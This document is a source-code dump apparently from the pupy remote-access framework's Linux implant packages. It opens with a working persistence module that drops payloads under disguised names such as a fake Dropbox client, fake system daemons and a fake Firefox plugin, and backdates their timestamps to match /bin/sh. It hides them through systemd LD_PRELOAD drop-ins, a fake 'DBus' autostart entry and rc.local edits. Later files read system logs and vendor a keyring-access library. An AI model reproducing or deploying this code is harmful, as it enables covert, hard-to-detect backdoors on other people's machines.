    def _check_systemd_reval(self, args):
        penv = {
            'stdout': self._devnull,
            'stderr': self._devnull,
        }

        if not os.getenv('DBUS_SESSION_BUS_ADDRESS') and self._user:
            penv.update({
                'env': {
                    'DBUS_SESSION_BUS_ADDRESS':
                    'unix:path=/var/run/user/{}/dbus/user_bus_socket'.format(self._uid)
                },
            })

        try:
            cmd = ['systemctl']
            if self._user:
                cmd.append('--user')

            cmd = cmd + args

            return (subprocess.check_call(cmd, **penv) == 0)

        except (subprocess.CalledProcessError, OSError):
            return None

    def _check_systemd(self):
        if self._user:
            systemd_socket = '/run/user/{}/systemd/private'.format(self._uid)
        else:
            systemd_socket = '/run/systemd/private'

        try:
            if not os.path.exists(systemd_socket) and stat.S_ISSOCK(os.stat(systemd_socket).st_mode):
                self._systemd_error = 'No systemd socket found'
                return
        except OSError as e:
            self._systemd_error = str(e)
            return

        self._is_systemd = self._check_systemd_reval([])
        if not self._is_systemd:
            self._systemd_error = 'Systemd is not available or not working properly'

    def _check_systemd_unit(self, unit):
        return self._check_systemd_reval(['is-enabled', unit])

    def _check_writable(self, path):
        try:
            if os.path.isfile(path):
                with open(path, 'wb'):
                    return True
        except:
            pass

        return False

    def _check_rc(self):
        self._rc = [
            rc for rc in [
                '/etc/rc.local',
                '/etc/init.d/rc.local',
                '/etc/rc',
                '/etc/init.d/dbus'
            ] if self._check_writable(rc)
        ]
        if len(self._rc) == 0:
            self._rc_error = 'No writable known RC scripts found'

    def get_methods(self):
        return {
            'xdg': self._is_xdg or self._xdg_error,
            'systemd': self._is_systemd or self._systemd_error,
            'rc': len(self._rc) > 0 or self._rc_error,
            'user': self._user
        }

    def _find_systemd_system_path(self):
        for d in ['/lib/systemd/system', '/usr/lib/systemd/system', '/etc/systemd/system']:
            if os.path.exists(d):
                return os.path.dirname(d)

    def _get_systemd_unit_path(self, system=True):
        if self._user:
            path = os.path.join(self._home, '.config/systemd/user')
        else:
            path = os.path.join(self._find_systemd_system_path(), 'system' if system else 'user')

        return path

    def _add_systemd_add_to_unit(self, unit, key, value, section='Service', system=True, confname='distlocal.conf'):

        confname = confname or ''.join([
            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
        ]) + '.conf'

        unit = os.path.join(self._get_systemd_unit_path(system), unit+'.d', confname)

        if not os.path.isdir(os.path.dirname(unit)):
            os.makedirs(os.path.dirname(unit))

        with open(unit, 'w') as funit:
            funit.write(
                '[{}]\n'
                '{}={}\n'.format(section, key, value)
            )

        return unit

    def _add_loadable_systemd_unit(self, unit, executable, description, service_type='forking'):
        confdir = self._get_systemd_unit_path()
        base_wants = os.path.join(confdir, 'default.target.wants')

        base_wants_unit = os.path.join(base_wants, unit)

        unit = os.path.join(confdir, unit)
        if not os.path.exists(confdir):
            os.makedirs(confdir)

        if not os.path.exists(base_wants):
            os.makedirs(base_wants)

        with open(unit, 'w') as funit:
            funit.write(
                '[Unit]\n'
                'Description={}\n\n'
                '[Service]\n'
                'Type={}\n'
                'ExecStart={}\n'.format(
                    description,
                    service_type,
                    executable
                )
            )

        if os.path.exists(base_wants_unit):
            os.unlink(base_wants_unit)

        os.symlink(unit, base_wants_unit)


    def _drop_file(self, payload, lib=False):
        rand = ''.join([
            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
        ])

        if lib:
            user_targets = [
                '%h/.local/lib/%r.so.1', '%h/.local/bin/%r',
                '%h/.cache/mozilla/firefox/libflushplugin.so',
                '%h/.mozilla/plugins/libflushplugin.so',
            ]

            system_targets = [
                '/lib/lib%r.so.1',
                '/usr/lib/lib%r.so.1',
                '/var/lib/.updatedb.cache.tmp.%r'
            ]
        else:
            user_targets = [
                '%h/.dropbox-dist/dropboxc',
                '%h/.local/bin/utmpc',
            ]

            system_targets = [
                '/usr/bin/atd',
                '/usr/bin/dcrond',
            ]

        targets = [
            target.replace(
                '%h', self._home
            ).replace(
                '%r', rand
            ) for target in (user_targets if self._user else system_targets)
        ]

        shstat = os.stat('/bin/sh')

        for target in targets:
            dropdir = os.path.dirname(target)
            if os.path.isdir(dropdir):
                try:
                    if os.path.isfile(target):
                        os.unlink(target)

                    with open(target, 'w+b') as droppie:
                        droppie.write(payload)

                    if not lib:
                        os.chmod(target, 0o711)

                    os.utime(target, (shstat.st_atime, shstat.st_ctime))
                    return target

                except:
                    continue

        for target in targets:
            dropdir = os.path.dirname(target)
            try:
                os.makedirs(dropdir)
                with open(target, 'wb') as droppie:
                    droppie.write(payload)

                os.utime(target, (shstat.st_atime, shstat.st_ctime))
                return target

            except Exception:
                continue

    def _is_path_in_file(self, filepath, path):
        if os.path.isfile(filepath):
            with open(filepath, 'r') as f:
                for line in f:
                    if path in line:
                        return True

        return False

    def _add_to_rc(self, path):
        for rc in self._rc:
            if self._is_path_in_file(rc, path):
                return

            rcstat = os.stat(rc)

            with open(rc, 'a') as rcfile:
                rcfile.write(path + "& 2>/dev/null 1>/dev/null\n")

            os.utime(rc, (rcstat.st_atime, rcstat.st_ctime))
            return rc

    def _add_to_xdg(self, path, confname='dbus'):
        confname = confname or ''.join([
            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
        ])

        if self._user:
            xdg = os.getenv('XDG_CONFIG_HOME') or os.path.join(
                self._home, '.config/autostart', confname+'.desktop')
        else:
            xdg = os.getenv('XDG_CONFIG_DIRS') or os.path.join(
                '/etc/xdg/autostart', confname+'.desktop')

        xdgdir = os.path.dirname(xdg)

        if os.path.exists(xdgdir):
            try:
                for file in os.listdir(xdgdir):
                    try:
                        xdgfilepath = os.path.join(xdgdir, file)
                        with open(xdgfilepath) as xdgfile:
                            if path in xdgfile.read():
                                return xdgfilepath
                    except:
                        pass

            except:
                pass

        else:
            os.makedirs(xdgdir)

        with open(xdg, 'w') as fxdg:
            fxdg.write(
                '[Desktop Entry]\n'
                'Name=DBus\n'
                'GenericName=D-Bus messaging system\n'
                'Exec=/bin/sh -c "{}" 1>/dev/null 2>/dev/null\n'
                'Terminal=false\n'
                'Type=Application\n'
                'Categories=System\n'
                'StartupNotify=false\n'.format(path)
            )

        return xdg

    def add_library(self, payload, name=None, system=None):
        if not any([
            self._is_systemd, self._is_xdg, self._rc
        ]):
            return None, None, 'Compatible method not found'

        dbus_daemon = self._find_executable('dbus-daemon')
        if not dbus_daemon:
            return None, None, 'Can not drop file'

        path = self._drop_file(payload, lib=True)
        if self._is_systemd:
            if not self._check_systemd_unit('dbus.service'):
                self._add_loadable_systemd_unit(
                    'dbus.service',
                    '{} --session'.format(dbus_daemon),
                    'D-Bus session daemon',
                )

            return path, self._add_systemd_add_to_unit(
                'dbus.service',
                'Environment',
                'LD_PRELOAD={}'.format(path),
                section='Service',
                confname=name
            ), 'Systemd'
        elif self._is_xdg:
            return path, self._add_to_xdg(
                'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
            ), 'XDG'
        elif self._rc:
            return path, self._add_to_rc(
                'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
            ), 'RC'

    def add_binary(self, payload, name=None, system=None):
        if not any([
            self._is_systemd, self._is_xdg, self._rc
        ]):
            return None, None, 'Compatible method not found'

        path = self._drop_file(payload)
        if not path:
            return None, None, 'Can not drop file'

        if self._is_systemd:
            return path, self._add_systemd_add_to_unit(
                'dbus.service',
                'ExecStartPre',
                '-{}'.format(path),
                section='Service',
                confname=name
            ), 'Systemd'

        elif self._is_xdg:
            return path, self._add_to_xdg(path), 'XDG'

        elif self._rc:
            return path, self._add_to_rc(path), 'RC'

def drop(data, is_library, name=None, system=None):
    manager = DropManager()
    if is_library:
        return manager.add_library(data, name, system)
    else:
        return manager.add_binary(data, name, system)


================================================
FILE: pupy/packages/linux/all/readlogs.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
    'SDJournalIterator', 'SDJournalReader', 'SDJournalException',
    'get_last_events', 'get_last_events_journald'
]

import sys
import ctypes
import time
import datetime
import re
import pwd
import os

from readlogs_generic import GenericLogReader

if sys.version_info.major > 2:
    long = int
    basestring = str

LIBJOURNAL = None
MAX_RECORDS_ITER = 65535

for lib in ['libsystemd-journal.so', 'libsystemd.so']:
    try:
        LIBJOURNAL = ctypes.CDLL(lib)
    except OSError:
        pass

if LIBJOURNAL:
    _sd_journal_open = LIBJOURNAL.sd_journal_open
    _sd_journal_open.restype = ctypes.c_int
    _sd_journal_open.argtypes = [
        ctypes.POINTER(ctypes.c_void_p), ctypes.c_int
    ]

    _sd_journal_close = LIBJOURNAL.sd_journal_close
    _sd_journal_close.restype = ctypes.c_int
    _sd_journal_close.argtypes = [
        ctypes.c_void_p
    ]

    _sd_journal_next = LIBJOURNAL.sd_journal_next
    _sd_journal_next.restype = ctypes.c_int
    _sd_journal_next.argtypes = [
        ctypes.c_void_p
    ]

    _sd_journal_previous = LIBJOURNAL.sd_journal_previous
    _sd_journal_previous.restype = ctypes.c_int
    _sd_journal_previous.argtypes = [
        ctypes.c_void_p
    ]

    _sd_journal_next_skip = LIBJOURNAL.sd_journal_next_skip
    _sd_journal_next_skip.restype = ctypes.c_int
    _sd_journal_next_skip.argtypes = [
        ctypes.c_void_p, ctypes.c_int
    ]

    _sd_journal_previous_skip = LIBJOURNAL.sd_journal_previous_skip
    _sd_journal_previous_skip.restype = ctypes.c_int
    _sd_journal_previous_skip.argtypes = [
        ctypes.c_void_p, ctypes.c_int
    ]

    _sd_journal_enumerate_fields = LIBJOURNAL.sd_journal_enumerate_fields
    _sd_journal_enumerate_fields.restype = ctypes.c_int
    _sd_journal_enumerate_fields.argtypes = [
        ctypes.c_void_p, ctypes.POINTER(ctypes.c_char_p)
    ]

    _sd_journal_restart_fields = LIBJOURNAL.sd_journal_restart_fields
    _sd_journal_restart_fields.restype = None
    _sd_journal_restart_fields.argtypes = [
        ctypes.c_void_p
    ]

    _sd_journal_get_data = LIBJOURNAL.sd_journal_get_data
    _sd_journal_get_data.restype = ctypes.c_int
    _sd_journal_get_data.argtypes = [
        ctypes.c_void_p,
        ctypes.c_char_p,
        ctypes.POINTER(ctypes.POINTER(ctypes.c_char)),
        ctypes.POINTER(ctypes.c_size_t)
    ]

    _sd_journal_enumerate_data = LIBJOURNAL.sd_journal_enumerate_data
    _sd_journal_enumerate_data.restype = ctypes.c_int
    _sd_journal_enumerate_data.argtypes = [
        ctypes.c_void_p,
        ctypes.POINTER(ctypes.POINTER(ctypes.c_char)),
        ctypes.POINTER(ctypes.c_size_t)
    ]

    _sd_journal_seek_head = LIBJOURNAL.sd_journal_seek_head
    _sd_journal_seek_head.restype = ctypes.c_int
    _sd_journal_seek_head.argtypes = [
        ctypes.c_void_p
    ]

    _sd_journal_seek_tail = LIBJOURNAL.sd_journal_seek_tail
    _sd_journal_seek_tail.restype = ctypes.c_int
    _sd_journal_seek_tail.argtypes = [
        ctypes.c_void_p
    ]

    _sd_journal_seek_realtime_usec = LIBJOURNAL.sd_journal_seek_realtime_usec
    _sd_journal_seek_realtime_usec.restype = ctypes.c_int
    _sd_journal_seek_realtime_usec.argtypes = [
        ctypes.c_void_p,
        ctypes.c_ulonglong
    ]

    _sd_journal_get_realtime_usec = LIBJOURNAL.sd_journal_get_realtime_usec
    _sd_journal_get_realtime_usec.restype = ctypes.c_int
    _sd_journal_get_realtime_usec.argtypes = [
        ctypes.c_void_p, ctypes.POINTER(ctypes.c_ulonglong)
    ]


def _payload_to_key_value(payload):
    try:
        eq = payload.index('=')
    except ValueError:
        raise ValueError('Invalid payload')

    zb = '\x00' in payload
    fieldname = payload[:eq]

    if zb:
        try:
            payload = payload.decode('utf-8')
        except UnicodeDecodeError:
            payload = payload.decode('latin-1')

    else:
        payload = payload[eq+1:]

    return fieldname, payload


def _value_to_timestamp(value):
    ts = 0

    if isinstance(value, (int, long)):
        if value < 0:
            ts = int((time.time() - value) * 1000000)
            ts = ctypes.c_ulonglong(ts)
        else:
            ts = ctypes.c_ulonglong(int(value) * 1000000)
    else:
        if isinstance(value, basestring):
            dt = None
            for formats in ('%d/%m/%Y', '%d/%m/%y %H:%M', '%d/%m/%y %H:%M:%S', '%H:%M', '%H:%M:%S'):
                try:
                    dt = datetime.datetime.strptime(value, formats)
                    if dt.year == 1900:
                        now = datetime.datetime.now()
                        dt = datetime.datetime(
                            now.year, now.month, now.day,
                            dt.hour, dt.minute, dt.second
                        )

                except ValueError:
                    pass

            if not dt:
                raise ValueError('Unknown date format')

        elif isinstance(value, datetime.timedelta):
            dt = datetime.datetime.now() + value
        elif not isinstance(value, datetime.datetime):
            raise ValueError(
                'Invalid type for since: {}'.format(type(value))
            )

        ts = int(time.mktime(dt.timetuple())*1000000)

    return ts


class SDJournalIterator(object):
    __slots__ = (
        '_journal', '_fields', '_until', '_count', '_reverse'
    )

    def __init__(self, journal, until=None, until_is_ts=False, fields=[], reverse=False):
        self._journal = journal
        self._fields = fields
        self._until = None
        self._count = None
        self._reverse = reverse
        if until:
            if until_is_ts:
                self._until = until
            else:
                self._count = until

    def next(self):
        if self._count is not None and self._count == 0:
            raise StopIteration()
        else:
            iterate = None

            if self._reverse:
                iterate = _sd_journal_previous(self._journal)
            else:
                iterate = _sd_journal_next(self._journal)

            if iterate == 0:
                raise StopIteration()

        records = {}

        data = ctypes.POINTER(ctypes.c_char)()
        data_size = ctypes.c_size_t()

        if self._fields:
            for field in self._fields:
                if _sd_journal_get_data(self._journal, field, data, data_size) != 0:
                    continue

                field, payload = _payload_to_key_value(data[:data_size.value])
                records[field] = payload
        else:
            while True:
                r = _sd_journal_enumerate_data(self._journal, data, data_size)
                if r < 0:
                    raise OSError(r)
                elif r == 0:
                    break

                field, payload = _payload_to_key_value(data[:data_size.value])
                records[field] = payload

        usecs = ctypes.c_ulonglong()
        _sd_journal_get_realtime_usec(self._journal, usecs)

        records['TIME'] = int(usecs.value / 1000000.0)

        if self._until and usecs.value > self._until:
            self._count = 0
        elif self._count is not None:
            self._count -= 1

        return records


class SDJournalException(Exception):
    pass


class SDJournalReader(object):
    __slots__ = (
        '_amount', '_last', '_fields', '_journal',
        '_since', '_until'
    )

    def __init__(self, amount=None, last=None, fields=[], since=None, until=None):
        if not LIBJOURNAL:
            raise SDJournalException('Systemd-journald library not found')

        self._last = last
        self._fields = fields
        self._since = since
        self._until = until

        self._journal = None

    def __enter__(self):
        journal = ctypes.c_void_p()
        res = _sd_journal_open(journal, 0)
        if res != 0:
            raise OSError(res)

        self._journal = journal
        return self

    def get_fields(self):
        if not self._journal:
            raise ValueError('SDJournalReader should be used in "with" statement')

        field = ctypes.c_char_p()
        fields = []
        while _sd_journal_enumerate_fields(self._journal, field) > 0:
            fields.append(field.value)

        return fields

    def __iter__(self):
        if not self._journal:
            raise ValueError('SDJournalReader should be used in "with" statement')

        until = None
        timestamp = False
        reverse = False

        if self._since:
            ts = ctypes.c_ulonglong(_value_to_timestamp(self._since))
            if _sd_journal_seek_realtime_usec(self._journal, ts) != 0:
                raise ValueError('Invalid time offset')

            if self._until:
                until = _value_to_timestamp(self._until)
                timestamp = True

        elif self._last:
            _sd_journal_seek_tail(self._journal)
            _sd_journal_previous_skip(self._journal, self._last + 1)
            until = self._last
            reverse = True

        else:
            _sd_journal_seek_tail(self._journal)
            reverse = True

        return SDJournalIterator(self._journal, until, timestamp, self._fields, reverse)

    def __exit__(self, *args):
        if self._journal:
            _sd_journal_close(self._journal)
            self._journal = None


def get_last_events_journald(count=10, includes=[], excludes=[], filter_source=None):
    field_mappings = {
        'MESSAGE': 'msg',
        '_HOSTNAME': 'computer',
        '_UID': 'user',
        'SYSLOG_IDENTIFIER': 'category',
        '_TRANSPORT': 'source',
        'PRIORITY': 'type',
        'TIME': 'date',
        '_EXE': 'exe',
        '_CMDLINE': 'cmd',
        '_SYSTEMD_UNIT': 'unit',
        '_SYSTEMD_USER_UNIT': 'user-unit',
    }

    priorities = (
        'EMERGENCY', 'CRITICAL', 'ALERT', 'ERROR',
        'WARNING', 'NOTICE', 'INFO', 'DEBUG'
    )

    includes = [
        re.compile(x, re.IGNORECASE | re.MULTILINE) for x in includes
    ]

    excludes = [
        re.compile(x, re.IGNORECASE | re.MULTILINE) for x in excludes
    ]

    events = SDJournalReader(fields=tuple(field_mappings))
    source_events = {}

    amount = 0

    with events:
        for idx, event in enumerate(events):
            if idx > max(MAX_RECORDS_ITER, count):
                break

            event = {
                v:event.get(k, '') for k,v in field_mappings.items()
            }

            source = event.pop('source')

            if filter_source is not None and source != filter_source:
                continue

            if event.get('user') != '':
                try:
                    event['user'] = pwd.getpwuid(int(event['user'])).pw_name
                except KeyError:
                    pass

            event['type'] = priorities[int(event['type'])]

            append = not includes and not excludes
            excluded = False

            for value in event.values():
                if append:
                    break

                if isinstance(value, basestring):
                    try:
                        value = str(value)
                    except TypeError:
                        continue

                for exclude in excludes:
                    if exclude.search(value):
                        append = False
                        excluded = True
                        break

                if excluded:
                    break

                for include in includes:
                    if include.search(value):
                        append = True
                        break

            if not includes and not excluded:
                append = True

            if not append:
                continue

            if source not in source_events:
                source_events[source] = []

            source_events[source].append(event)

            amount += 1

            if amount == count:
                break

    return source_events

def get_last_events(count=10, includes=[], excludes=[], eventid=None, source=None):
    try:
        source_events = get_last_events_journald(count, includes, excludes, source)
    except SDJournalException:
        source_events = {}

    for d in ['/var/log']:
        if os.path.isdir(d):
            events = GenericLogReader(d, source).get_last_events(count, includes, excludes)
            source_events.update(events)

    return source_events


================================================
FILE: pupy/packages/linux/all/secretstorage/__init__.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2013
# License: BSD

__all__ = [
    'int_from_bytes', 'int_to_bytes',
    'Collection', 'create_collection',
    'get_all_collections', 'get_default_collection',
    'get_any_collection', 'get_collection_by_alias',
    'search_items', 'Item',

    'DBUS_NOT_SUPPORTED', 'DBUS_EXEC_FAILED', 'DBUS_NO_REPLY',
    'DBUS_ACCESS_DENIED', 'dbus_init',

    'SecretStorageException', 'SecretServiceNotAvailableException',
    'LockedException', 'ItemNotFoundException',

    '__version_tuple__', '__version__'

]

"""This file provides quick access to all SecretStorage API. Please
refer to documentation of individual modules for API details.

It also provides some functions for compatibility with older
SecretStorage releases. Those functions are not recommended for use
in new software."""

import dbus
from secretstorage.util import int_from_bytes, int_to_bytes
from secretstorage.collection import Collection, create_collection, \
 get_all_collections, get_default_collection, get_any_collection, \
 get_collection_by_alias, search_items
from secretstorage.item import Item
from secretstorage.defines import DBUS_NOT_SUPPORTED, DBUS_EXEC_FAILED, \
 DBUS_NO_REPLY, DBUS_ACCESS_DENIED
from secretstorage.exceptions import SecretStorageException, \
 SecretServiceNotAvailableException, LockedException, \
 ItemNotFoundException

__version_tuple__ = (2, 3, 1)
__version__ = '.'.join(map(str, __version_tuple__))

def dbus_init(main_loop=True, use_qt_loop=False):
    """Returns new SessionBus_. If `main_loop` is :const:`True` and no
    D-Bus main loop is registered yet, registers a default main loop
    (PyQt5 main loop if `use_qt_loop` is :const:`True`, otherwise GLib
    main loop).

    .. _SessionBus: https://www.freedesktop.org/wiki/IntroductionToDBus/#buses

    .. note::
       Qt uses GLib main loops on UNIX-like systems by default, so one
       will rarely need to set `use_qt_loop` to :const:`True`.
    """
    if main_loop and not dbus.get_default_main_loop():
        if use_qt_loop:
            from dbus.mainloop.pyqt5 import DBusQtMainLoop
            DBusQtMainLoop(set_as_default=True)
        else:
            from dbus.mainloop.glib import DBusGMainLoop
            DBusGMainLoop(set_as_default=True)
    try:
        return dbus.SessionBus()
    except dbus.exceptions.DBusException as e:
        if e.get_dbus_name() in (DBUS_NOT_SUPPORTED,
        DBUS_EXEC_FAILED, DBUS_NO_REPLY, DBUS_ACCESS_DENIED):
            raise SecretServiceNotAvailableException(
                e.get_dbus_message())
        raise


================================================
FILE: pupy/packages/linux/all/secretstorage/collection.py
================================================
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2013
# License: BSD

"""Collection is a place where secret items are stored. Normally, only
the default collection should be used, but this module allows to use any
registered collection. Use :func:`get_default_collection` to get the
default collection (and create it, if necessary).

Collections are usually automatically unlocked when user logs in, but
collections can also be locked and unlocked using
:meth:`Collection.lock` and :meth:`Collection.unlock` methods (unlocking
requires showing the unlocking prompt to user and can be synchronous or
asynchronous). Creating new items and editing existing ones is possible
only in unlocked collection."""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import dbus
from secretstorage.defines import SS_PREFIX, SS_PATH
from secretstorage.exceptions import LockedException, ItemNotFoundException
from secretstorage.item import Item
from secretstorage.util import bus_get_object, InterfaceWrapper, \
 exec_prompt_glib, format_secret, open_session, to_unicode, unlock_objects

COLLECTION_IFACE = SS_PREFIX + 'Collection'
SERVICE_IFACE    = SS_PREFIX + 'Service'
DEFAULT_COLLECTION = '/org/freedesktop/secrets/aliases/default'
SESSION_COLLECTION = '/org/freedesktop/secrets/collection/session'

class Collection(object):
    """Represents a collection."""

    def __init__(self, bus, collection_path=DEFAULT_COLLECTION, session=None):
        collection_obj = bus_get_object(bus, collection_path)
        self.bus = bus
        self.session = session
        self.collection_path = collection_path
        self.collection_iface = InterfaceWrapper(collection_obj,
            COLLECTION_IFACE)
        self.collection_props_iface = InterfaceWrapper(collection_obj,
            dbus.PROPERTIES_IFACE)
        self.collection_props_iface.Get(COLLECTION_IFACE, 'Label',
            signature='ss')

    def is_locked(self):
        """Returns :const:`True` if item is locked, otherwise
        :const:`False`."""
        return bool(self.collection_props_iface.Get(
            COLLECTION_IFACE, 'Locked', signature='ss'))

    def ensure_not_locked(self):
        """If collection is locked, raises
        :exc:`~secretstorage.exceptions.LockedException`."""
        if self.is_locked():
            raise LockedException('Collection is locked!')

    def unlock(self, callback=None):
        """Requests unlocking the collection. If `callback` is specified,
        calls it when unlocking is complete (see
        :func:`~secretstorage.util.exec_prompt` description for details).
        Otherwise, uses loop from GLib API and returns a boolean
        representing whether the operation was dismissed."""
        return unlock_objects(self.bus, [self.collection_path], callback)

    def lock(self):
        """Locks the collection."""
        service_obj = bus_get_object(self.bus, SS_PATH)
        service_iface = InterfaceWrapper(service_obj, SERVICE_IFACE)
        service_iface.Lock([self.collection_path], signature='ao')

    def delete(self):
        """Deletes the collection and all items inside it."""
        self.ensure_not_locked()
        self.collection_iface.Delete(signature='')

    def get_all_items(self):
        """Returns a generator of all items in the collection."""
        for item_path in self.collection_props_iface.Get(
        COLLECTION_IFACE, 'Items', signature='ss'):
            yield Item(self.bus, item_path, self.session)

    def search_items(self, attributes):
        """Returns a generator of items with the given attributes.
        `attributes` should be a dictionary."""
        result = self.collection_iface.SearchItems(attributes,
            signature='a{ss}')
        for item_path in result:
            yield Item(self.bus, item_path, self.session)

    def get_label(self):
        """Returns the collection label."""
        label = self.collection_props_iface.Get(COLLECTION_IFACE,
            'Label', signature='ss')
        return to_unicode(label)

    def set_label(self, label):
        """Sets collection label to `label`."""
        self.ensure_not_locked()
        self.collection_props_iface.Set(COLLECTION_IFACE, 'Label',
            label, signature='ssv')

    def create_item(self, label, attributes, secret, replace=False,
    content_type='text/plain'):
        """Creates a new :class:`~secretstorage.item.Item` with given
        `label` (unicode string), `attributes` (dictionary) and `secret`
        (bytestring). If `replace` is :const:`True`, replaces the existing
        item with the same attributes. If `content_type` is given, also
        sets the content type of the secret (``text/plain`` by default).
        Returns the created item."""
        self.ensure_not_locked()
        if not self.session:
            self.session = open_session(self.bus)
        secret = format_secret(self.session, secret, content_type)
        attributes = dbus.Dictionary(attributes, signature='ss')
        properties = {
            SS_PREFIX+'Item.Label': label,
            SS_PREFIX+'Item.Attributes': attributes
        }
        new_item, prompt = self.collection_iface.CreateItem(properties,
            secret, replace, signature='a{sv}(oayays)b')
        return Item(self.bus, new_item, self.session)

def create_collection(bus, label, alias='', session=None):
    """Creates a new :class:`Collection` with the given `label` and `alias`
    and returns it. This action requires prompting. If prompt is dismissed,
    raises :exc:`~secretstorage.exceptions.ItemNotFoundException`. This is
    synchronous function, uses loop from GLib API."""
    if not session:
        session = open_session(bus)
    properties = {SS_PREFIX+'Collection.Label': label}
    service_obj = bus_get_object(bus, SS_PATH)
    service_iface = dbus.Interface(service_obj, SERVICE_IFACE)
    collection_path, prompt = service_iface.CreateCollection(properties,
        alias, signature='a{sv}s')
    if len(collection_path) > 1:
        return Collection(bus, collection_path, session=session)
    dismissed, unlocked = exec_prompt_glib(bus, prompt)
    if dismissed:
        raise ItemNotFoundException('Prompt dismissed.')
    return Collection(bus, unlocked, session=session)

def get_all_collections(bus):
    """Returns a generator of all available collections."""
    service_obj = bus_get_object(bus, SS_PATH)
    service_props_iface = dbus.Interface(service_obj,
        dbus.PROPERTIES_IFACE)
    for collection_path in service_props_iface.Get(SERVICE_IFACE,
    'Collections', signature='ss'):
        yield Collection(bus, collection_path)

def get_default_collection(bus, session=None):
    """Returns the default collection. If it doesn't exist,
    creates it."""
    try:
        return Collection(bus)
    except ItemNotFoundException:
        return create_collection(bus, 'Default',
        'default', session)

def get_any_collection(bus):
    """Returns any collection, in the following order of preference:

    - The default collection;
    - The "session" collection (usually temporary);
    - The first collection in the collections list."""
    try:
        return Collection(bus)
    except ItemNotFoundException:
        pass
    try:
        # GNOME Keyring provides session collection where items
        # are stored in process memory.
        return Collection(bus, SESSION_COLLECTION)
    except ItemNotFoundException:
        pass
    collections = list(get_all_collections(bus))
    if collections:
        return collections[0]
    else:
        raise ItemNotFoundException('No collections found.')

def get_collection_by_alias(bus, alias):
    """Returns the collection with the given `alias`. If there is no
    such collection, raises
    :exc:`~secretstorage.exceptions.ItemNotFoundException`."""
    service_obj = bus_get_object(bus, SS_PATH)
    service_iface = dbus.Interface(service_obj, SERVICE_IFACE)
    collection_path = service_iface.ReadAlias(alias, signature='s')
    if len(collection_path) <= 1:
        raise ItemNotFoundException('No collection with such alias.')
    return Collection(bus, collection_path)

def search_items(bus, attributes):
    """Returns a generator of items in all collections with the given
    attributes. `attributes` should be a dictionary."""
    service_obj = bus_get_object(bus, SS_PATH)
    service_iface = dbus.Interface(service_obj, SERVICE_IFACE)
    locked, unlocked = service_iface.SearchItems(attributes,
        signature='a{ss}')
    for item_path in locked + unlocked:
        yield Item(bus, item_path)


================================================
FILE: pupy/packages/linux/all/secretstorage/defines.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2013
# License: BSD

# This file contains some common defines.

SS_PREFIX = 'org.freedesktop.Secret.'
SS_PATH = '/org/freedesktop/secrets'

DBUS_UNKNOWN_METHOD  = 'org.freedesktop.DBus.Error.UnknownMethod'
DBUS_ACCESS_DENIED   = 'org.freedesktop.DBus.Error.AccessDenied'
DBUS_SERVICE_UNKNOWN = 'org.freedesktop.DBus.Error.ServiceUnknown'
DBUS_EXEC_FAILED     = 'org.freedesktop.DBus.Error.Spawn.ExecFailed'
DBUS_NO_REPLY        = 'org.freedesktop.DBus.Error.NoReply'
DBUS_NOT_SUPPORTED   = 'org.freedesktop.DBus.Error.NotSupported'
DBUS_NO_SUCH_OBJECT  = 'org.freedesktop.Secret.Error.NoSuchObject'

ALGORITHM_PLAIN = 'plain'
ALGORITHM_DH = 'dh-ietf1024-sha256-aes128-cbc-pkcs7'


================================================
FILE: pupy/packages/linux/all/secretstorage/dhcrypto.py
================================================
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2014
# License: BSD

'''This module contains needed classes, functions and constants
to implement dh-ietf1024-sha256-aes128-cbc-pkcs7 secret encryption
algorithm.'''
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import hmac
import os

from hashlib import sha256
from secretstorage.util import int_from_bytes, int_to_bytes

# A standard 1024 bits (128 bytes) prime number for use in Diffie-Hellman exchange
DH_PRIME_1024_BYTES = (
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
    0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
    0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
    0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
    0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
    0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
    0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
    0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
)

DH_PRIME_1024 = int_from_bytes(bytearray(DH_PRIME_1024_BYTES), 'big')

class Session(object):
    def __init__(self):
        self.object_path = None
        self.server_public_key = None
        self.aes_key = None
